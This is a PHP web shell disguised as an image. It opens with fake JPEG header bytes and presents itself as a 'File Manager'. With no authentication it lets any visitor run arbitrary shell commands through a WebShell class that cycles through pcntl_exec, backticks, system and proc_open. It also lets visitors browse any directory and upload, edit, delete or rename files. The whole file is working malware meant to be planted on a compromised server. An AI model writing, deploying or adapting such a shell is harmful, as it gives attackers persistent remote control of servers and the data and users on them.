ÿØÿà JFIF 

  
 
  ÿÛ „ 	 ( %!1!%*+...983,7(-.-

ÿØÿà JFIF 

  
 
  ÿÛ „ 	 ( %!1!%*+...983,7(-.-

<?php
// ============================
// 🔧 ERROR REPORTING
// ============================
ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);
error_reporting(E_ALL);

session_start();

// ============================
// 📂 PATH AYARLARI
// ============================
$currentPath = isset($_GET['path']) ? realpath($_GET['path']) : getcwd();
if (!$currentPath || !is_dir($currentPath)) {
    $currentPath = getcwd();
}

$item = isset($_GET['item']) ? basename($_GET['item']) : '';
$itemPath = $currentPath . DIRECTORY_SEPARATOR . $item;

// ============================
// 🖥️ COMMAND SHELL TERMINAL
// ============================
function executeCommand($command, $currentPath) {
    error_reporting(0);
    
    class WebShell {
        private $methods = [];
        
        public function __construct() {
            $this->detectMethods();
        }
        
        private function detectMethods() {
            if (function_exists('pcntl_fork') && function_exists('pcntl_exec')) {
                $this->methods[] = 'pcntl';
            }
            $this->methods[] = 'backtick';
            if (function_exists('preg_replace_callback')) {
                $this->methods[] = 'preg';
            }
            if (function_exists('fsockopen')) {
                $this->methods[] = 'fsockopen';
            }
        }
        
        public function execute($command, $currentPath) {
            $command = "cd " . escapeshellarg($currentPath) . " && " . $command . " 2>&1";
            
            foreach ($this->methods as $method) {
                $result = $this->tryMethod($method, $command);
                if ($result !== false && $result !== '') {
                    return $result;
                }
            }
            return "No execution method worked";
        }
        
        private function tryMethod($method, $command) {
            switch($method) {
                case 'pcntl':
                    return $this->pcntlExecute($command);
                case 'backtick':
                    $output = `$command`;
                    return $output !== null ? $output : false;
                case 'preg':
                    ob_start();
                    preg_replace_callback('/.*/', function($m) use ($command) {
                        system($command);
                    }, 'test');
                    $output = ob_get_clean();
                    return $output ?: false;
                case 'fsockopen':
                    return $this->fsockopenExecute($command);
            }
            return false;
        }
        
        private function pcntlExecute($command) {
            $tmpfile = tempnam(sys_get_temp_dir(), 'out');
            $fullCmd = $command . " > " . $tmpfile . " 2>&1";
            
            $pid = pcntl_fork();
            if ($pid == 0) {
                $args = ['/bin/sh', '-c', $fullCmd];
                pcntl_exec('/bin/sh', ['-c', $fullCmd]);
                exit(0);
            } else {
                pcntl_waitpid($pid, $status);
                $output = @file_get_contents($tmpfile);
                @unlink($tmpfile);
                return $output;
            }
        }
        
        private function fsockopenExecute($command) {
            $descriptorspec = array(
                0 => array("pipe", "r"),
                1 => array("pipe", "w"),
                2 => array("pipe", "w")
            );
            
            $process = proc_open($command, $descriptorspec, $pipes);
            
            if (is_resource($process)) {
                fclose($pipes[0]);
                $output = stream_get_contents($pipes[1]);
                fclose($pipes[1]);
                fclose($pipes[2]);
                proc_close($process);
                return $output;
            }
            return false;
        }
    }
    
    $shell = new WebShell();
    return $shell->execute($command, $currentPath);
}

// Handle command execution if POST request
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['cmd'])) {
    $cmd_result = executeCommand($_POST['cmd'], $currentPath);
}

// ============================
// 📋 DİZİN GÖRÜNTÜLEME
// ============================
function showDirectory($dir)
{
    $entries = array_diff(scandir($dir), ['.', '..']);
    echo "<div class='directory-section'>";
    echo "<h2>Directory: <span class='path'>$dir</span></h2>";
    echo "<div class='file-list'>";

    foreach ($entries as $entry) {
        $fullPath = realpath($dir . DIRECTORY_SEPARATOR . $entry);
        $isDir = is_dir($fullPath);
        $iconClass = $isDir ? 'folder' : 'file';

        echo "<div class='file-item $iconClass'>";

        if ($isDir) {
            echo "<div class='file-name'><a href='?path=" . urlencode($fullPath) . "'>$entry</a></div>";
        } else {
            echo "<div class='file-name'>$entry</div>";
            echo "<div class='file-actions'>";
            echo "<a class='btn-action edit' href='?path=" . urlencode($dir) . "&action=edit&item=" . urlencode($entry) . "'>Edit</a>";
            echo "<a class='btn-action delete' href='?path=" . urlencode($dir) . "&action=delete&item=" . urlencode($entry) . "'>Delete</a>";
            echo "<a class='btn-action rename' href='?path=" . urlencode($dir) . "&action=rename&item=" . urlencode($entry) . "'>Rename</a>";
            echo "</div>";
        }

        echo "</div>";
    }

    echo "</div></div>";
}

// ============================
// 📤 DOSYA YÜKLEME
// ============================
function uploadFile($dir)
{
    if (!empty($_FILES['file']['name'])) {
        $target = $dir . DIRECTORY_SEPARATOR . basename($_FILES['file']['name']);
        if (move_uploaded_file($_FILES['file']['tmp_name'], $target)) {
            echo "<div class='message success'>File uploaded successfully!</div>";
        } else {
            echo "<div class='message error'>Upload failed.</div>";
        }
    }
}

// ============================
// 🆕 KLASÖR VE DOSYA OLUŞTURMA
// ============================
function makeFolder($dir)
{
    $folder = trim($_POST['folder_name']);
    if (!$folder) return;

    $folderPath = $dir . DIRECTORY_SEPARATOR . $folder;
    if (!file_exists($folderPath)) {
        mkdir($folderPath);
        echo "<div class='message success'>Folder created: $folder</div>";
    } else {
        echo "<div class='message warning'>Folder already exists.</div>";
    }
}

function makeFile($dir)
{
    $file = trim($_POST['file_name']);
    if (!$file) return;

    $filePath = $dir . DIRECTORY_SEPARATOR . $file;
    if (!file_exists($filePath)) {
        file_put_contents($filePath, '');
        echo "<div class='message success'>File created: $file</div>";
    } else {
        echo "<div class='message warning'>File already exists.</div>";
    }
}

// ============================
// ✏️ DOSYA DÜZENLEME
// ============================
function editFile($path)
{
    if (!file_exists($path)) {
        echo "<div class='message error'>File not found.</div>";
        return;
    }

    if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['content'])) {
        file_put_contents($path, $_POST['content']);
        echo "<div class='message success'>Saved successfully!</div>";
    }

    $content = htmlspecialchars(file_get_contents($path));
    echo "<div class='edit-section'>";
    echo "<h3>Editing: " . basename($path) . "</h3>";
    echo "<form method='POST'>";
    echo "<textarea name='content' class='editor'>$content</textarea><br>";
    echo "<div class='form-actions'>";
    echo "<button type='submit' class='btn'>Save</button>";
    echo "</div>";
    echo "</form>";
    echo "</div>";
}

// ============================
// 🗑️ DOSYA SİLME
// ============================
function removeFile($path)
{
    if (file_exists($path) && is_file($path)) {
        unlink($path);
        echo "<div class='message success'>File deleted.</div>";
    } else {
        echo "<div class='message error'>File not found.</div>";
    }
}

// ============================
// 🏷️ YENİDEN ADLANDIRMA
// ============================
function renameItem($path)
{
    if (!file_exists($path)) {
        echo "<div class='message error'>Item not found.</div>";
        return;
    }

    if ($_SERVER['REQUEST_METHOD'] === 'POST' && !empty($_POST['new_name'])) {
        $newPath = dirname($path) . DIRECTORY_SEPARATOR . basename($_POST['new_name']);
        if (rename($path, $newPath)) {
            echo "<div class='message success'>Renamed successfully!</div>";
        } else {
            echo "<div class='message error'>Rename failed.</div>";
        }
    } else {
        echo "<div class='rename-section'>";
        echo "<h3>Rename: " . basename($path) . "</h3>";
        echo "<form method='POST'>";
        echo "<input type='text' name='new_name' placeholder='New name' required class='input-field'>";
        echo "<div class='form-actions'>";
        echo "<button type='submit' class='btn'>Rename</button>";
        echo "</div>";
        echo "</form>";
        echo "</div>";
    }
}

// ============================
// ⚙️ İŞLEMLER
// ============================
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    if (isset($_FILES['file'])) uploadFile($currentPath);
    if (isset($_POST['folder_name'])) makeFolder($currentPath);
    if (isset($_POST['file_name'])) makeFile($currentPath);
}

if (isset($_GET['action']) && $item) {
    switch ($_GET['action']) {
        case 'edit': editFile($itemPath); break;
        case 'delete': removeFile($itemPath); break;
        case 'rename': renameItem($itemPath); break;
    }
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>File Manager</title>
    <style>
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
            font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, sans-serif;
        }

        body {
            background-color: #f5f5f5;
            color: #333;
            line-height: 1.6;
            padding: 20px;
            max-width: 1400px;
            margin: 0 auto;
        }

        .container {
            background: white;
            border-radius: 8px;
            box-shadow: 0 2px 10px rgba(0,0,0,0.1);
            padding: 30px;
        }

        h1 {
            color: #2c3e50;
            margin-bottom: 20px;
            padding-bottom: 10px;
            border-bottom: 1px solid #eaeaea;
        }

        h2 {
            color: #34495e;
            font-size: 18px;
            margin: 20px 0 15px 0;
        }

        h3 {
            color: #2c3e50;
            font-size: 16px;
            margin: 15px 0 10px 0;
        }

        .path {
            color: #7f8c8d;
            font-weight: normal;
            font-size: 14px;
        }

        .navigation {
            margin-bottom: 20px;
        }

        .btn {
            background: #3498db;
            color: white;
            border: none;
            padding: 8px 16px;
            border-radius: 4px;
            cursor: pointer;
            font-size: 14px;
            text-decoration: none;
            display: inline-block;
        }

        .btn:hover {
            background: #2980b9;
        }

        .btn-up {
            background: #95a5a6;
            margin-bottom: 20px;
        }

        .btn-up:hover {
            background: #7f8c8d;
        }

        .directory-section {
            margin-bottom: 30px;
        }

        .file-list {
            border: 1px solid #eaeaea;
            border-radius: 4px;
            overflow: hidden;
        }

        .file-item {
            display: flex;
            align-items: center;
            padding: 12px 15px;
            border-bottom: 1px solid #eaeaea;
            transition: background-color 0.2s;
        }

        .file-item:hover {
            background-color: #f8f9fa;
        }

        .file-item:last-child {
            border-bottom: none;
        }

        .file-item.folder {
            background-color: #f8f9fa;
        }

        .file-name {
            flex: 1;
            font-family: 'Monaco', 'Menlo', monospace;
            font-size: 14px;
        }

        .file-name a {
            color: #2c3e50;
            text-decoration: none;
            font-weight: 500;
        }

        .file-name a:hover {
            color: #3498db;
            text-decoration: underline;
        }

        .file-actions {
            display: flex;
            gap: 10px;
        }

        .btn-action {
            padding: 4px 8px;
            border-radius: 3px;
            font-size: 12px;
            text-decoration: none;
            color: white;
        }

        .btn-action.edit {
            background: #27ae60;
        }

        .btn-action.delete {
            background: #e74c3c;
        }

        .btn-action.rename {
            background: #f39c12;
        }

        .btn-action:hover {
            opacity: 0.9;
        }

        .forms-grid {
            display: grid;
            grid-template-columns: repeat(3, 1fr);
            gap: 20px;
            margin-top: 30px;
        }

        .form-section {
            background: #f8f9fa;
            padding: 20px;
            border-radius: 6px;
            border: 1px solid #eaeaea;
        }

        .terminal-section {
            grid-column: span 2;
            background: #2c3e50;
            color: white;
        }

        .terminal-section h3 {
            color: white;
        }

        .input-field {
            width: 100%;
            padding: 10px;
            border: 1px solid #ddd;
            border-radius: 4px;
            font-size: 14px;
            margin: 10px 0;
        }

        .input-field:focus {
            outline: none;
            border-color: #3498db;
        }

        .terminal-output {
            background: #1a252f;
            color: #ecf0f1;
            padding: 15px;
            border-radius: 4px;
            font-family: 'Monaco', 'Menlo', monospace;
            font-size: 12px;
            white-space: pre-wrap;
            word-break: break-all;
            max-height: 300px;
            overflow-y: auto;
            margin-top: 15px;
        }

        .editor {
            width: 100%;
            height: 300px;
            padding: 15px;
            border: 1px solid #ddd;
            border-radius: 4px;
            font-family: 'Monaco', 'Menlo', monospace;
            font-size: 13px;
            line-height: 1.5;
            resize: vertical;
        }

        .form-actions {
            margin-top: 15px;
        }

        .message {
            padding: 12px 15px;
            margin: 15px 0;
            border-radius: 4px;
            border-left: 4px solid;
        }

        .message.success {
            background-color: #d5edda;
            border-color: #27ae60;
            color: #155724;
        }

        .message.error {
            background-color: #f8d7da;
            border-color: #e74c3c;
            color: #721c24;
        }

        .message.warning {
            background-color: #fff3cd;
            border-color: #f39c12;
            color: #856404;
        }

        .edit-section, .rename-section {
            background: white;
            padding: 20px;
            border-radius: 6px;
            border: 1px solid #eaeaea;
            margin: 20px 0;
        }

        hr {
            border: none;
            border-top: 1px solid #eaeaea;
            margin: 30px 0;
        }
    </style>
</head>
<body>
    <div class="container">
        <h1>File Manager</h1>
        
        <div class="navigation">
            <a href="?path=<?php echo urlencode(dirname($currentPath)); ?>" class="btn btn-up">Go Up</a>
        </div>

        <?php
        if (isset($_GET['action']) && $item) {
            // Action form already displayed in functions
        } else {
            showDirectory($currentPath);
        }
        ?>

        <div class="forms-grid">
            <div class="form-section">
                <h3>Upload File</h3>
                <form method="POST" enctype="multipart/form-data">
                    <input type="file" name="file" required class="input-field">
                    <div class="form-actions">
                        <button type="submit" class="btn">Upload</button>
                    </div>
                </form>
            </div>

            <div class="form-section">
                <h3>Create Folder</h3>
                <form method="POST">
                    <input type="text" name="folder_name" placeholder="Folder name" required class="input-field">
                    <div class="form-actions">
                        <button type="submit" class="btn">Create</button>
                    </div>
                </form>
            </div>

            <div class="form-section">
                <h3>Create File</h3>
                <form method="POST">
                    <input type="text" name="file_name" placeholder="File name" required class="input-field">
                    <div class="form-actions">
                        <button type="submit" class="btn">Create</button>
                    </div>
                </form>
            </div>

            <div class="form-section terminal-section">
                <h3>Terminal/Command Shell</h3>
                <form method="POST">
                    <input type="text" name="cmd" placeholder="Enter command (e.g., ls -la, pwd, whoami)" required class="input-field">
                    <div class="form-actions">
                        <button type="submit" class="btn">Execute</button>
                    </div>
                </form>
                
                <?php if (isset($cmd_result)): ?>
                <div class="terminal-output">
                    <strong>Command Output:</strong><br>
                    <?php echo htmlspecialchars($cmd_result); ?>
                </div>
                <?php endif; ?>
            </div>
        </div>
    </div>
</body>
</html>